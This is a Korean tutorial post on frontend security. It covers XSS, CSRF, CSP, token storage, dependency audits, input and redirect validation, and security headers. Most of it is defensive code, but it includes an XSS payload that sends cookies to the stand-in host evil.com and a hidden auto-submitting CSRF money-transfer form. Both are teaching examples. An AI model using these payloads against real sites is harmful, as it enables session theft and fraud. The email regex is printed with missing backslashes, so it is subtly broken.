목록으로
Security

프론트엔드 보안 기초

XSS, CSRF 등 흔한 보안 취약점과 방어 방법을 알아봅니다. 안전한 웹 애플리케이션을 만드는 기본 원칙입니다.

보안은 모든 개발자가 알아야 할 기본 지식입니다. 프론트엔드에서 발생할 수 있는 주요 보안 취약점과 대응 방법을 알아봅니다.

XSS (Cross-Site Scripting)

악성 스크립트가 웹 페이지에 삽입되어 실행되는 공격입니다.

공격 예시

// 사용자 입력을 그대로 출력
const userComment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>';
element.innerHTML = userComment; // 위험!

방어 방법

// 1. innerHTML 대신 textContent 사용
element.textContent = userComment;

// 2. 이스케이프 처리
function escapeHTML(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

// 3. React는 기본적으로 이스케이프 처리
<div>{userComment}</div>  // 안전

// 4. dangerouslySetInnerHTML은 신중하게
// 신뢰할 수 있는 소스 또는 sanitize된 데이터만 사용
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />

Content Security Policy (CSP)

HTTP 헤더로 허용되는 리소스를 제한합니다.

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://trusted.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;

CSRF (Cross-Site Request Forgery)

사용자가 의도하지 않은 요청을 보내게 하는 공격입니다.

공격 예시

<!-- 악성 사이트에 숨겨진 폼 -->
<form action="https://bank.com/transfer" method="POST" style="display:none">
  <input name="to" value="attacker">
  <input name="amount" value="1000000">
</form>
<script>document.forms[0].submit();</script>

방어 방법

// 1. CSRF 토큰 사용
const csrfToken = getCookie('csrf_token');

fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken,
    'Content-Type': 'application/json'
  },
  body: JSON.stringify(data)
});

// 2. SameSite 쿠키 속성
// 서버에서 설정
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly

// 3. Origin/Referer 헤더 검증 (서버 측)

안전한 인증 처리

토큰 저장 위치

// 나쁜 예: localStorage (XSS에 취약)
localStorage.setItem('token', token);

// 권장: HttpOnly 쿠키
// 서버에서 설정
Set-Cookie: token=xxx; HttpOnly; Secure; SameSite=Strict

// 또는 메모리에 저장 (새로고침 시 사라짐)
let token = null;
function setToken(t) { token = t; }

민감한 정보 노출 방지

// 나쁜 예: 민감한 정보를 콘솔에 출력
console.log('User data:', { email, password, token });

// 나쁜 예: 에러 메시지에 상세 정보 노출
catch (error) {
  alert(`DB 에러: ${error.sqlMessage}`);
}

// 좋은 예: 일반적인 메시지만 표시
catch (error) {
  console.error(error); // 개발 환경에서만
  alert('오류가 발생했습니다.');
}

의존성 보안

취약점 검사

# npm 취약점 검사
npm audit

# 자동 수정
npm audit fix

# 상세 정보
npm audit --json

Dependabot 활용

GitHub에서 자동으로 취약한 의존성을 감지하고 PR을 생성합니다.

입력 검증

클라이언트 검증은 UX를 위한 것

// 클라이언트 검증 (쉽게 우회 가능)
function validateEmail(email) {
  const regex = /^[^s@]+@[^s@]+.[^s@]+$/;
  return regex.test(email);
}

// 중요: 서버에서 반드시 재검증해야 함
// 클라이언트 검증은 UX 개선 목적

URL 검증

// 나쁜 예: 외부 URL로 리다이렉트 허용
const returnUrl = new URLSearchParams(location.search).get('return');
window.location.href = returnUrl; // 피싱에 악용 가능

// 좋은 예: 허용된 URL만 사용
const allowedHosts = ['mysite.com', 'api.mysite.com'];
const url = new URL(returnUrl, location.origin);

if (allowedHosts.includes(url.hostname)) {
  window.location.href = returnUrl;
} else {
  window.location.href = '/';
}

보안 헤더

서버에서 설정하는 주요 보안 헤더입니다.

# XSS 방어
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff

# 클릭재킹 방어
X-Frame-Options: DENY

# HTTPS 강제
Strict-Transport-Security: max-age=31536000; includeSubDomains

마무리

보안은 한 번 설정하고 끝나는 것이 아닙니다. 지속적으로 취약점을 확인하고 의존성을 업데이트해야 합니다.

기본 원칙은 "사용자 입력을 절대 신뢰하지 않는다"입니다. 모든 입력은 검증하고, 출력할 때는 이스케이프하며, 민감한 데이터는 안전하게 저장합니다.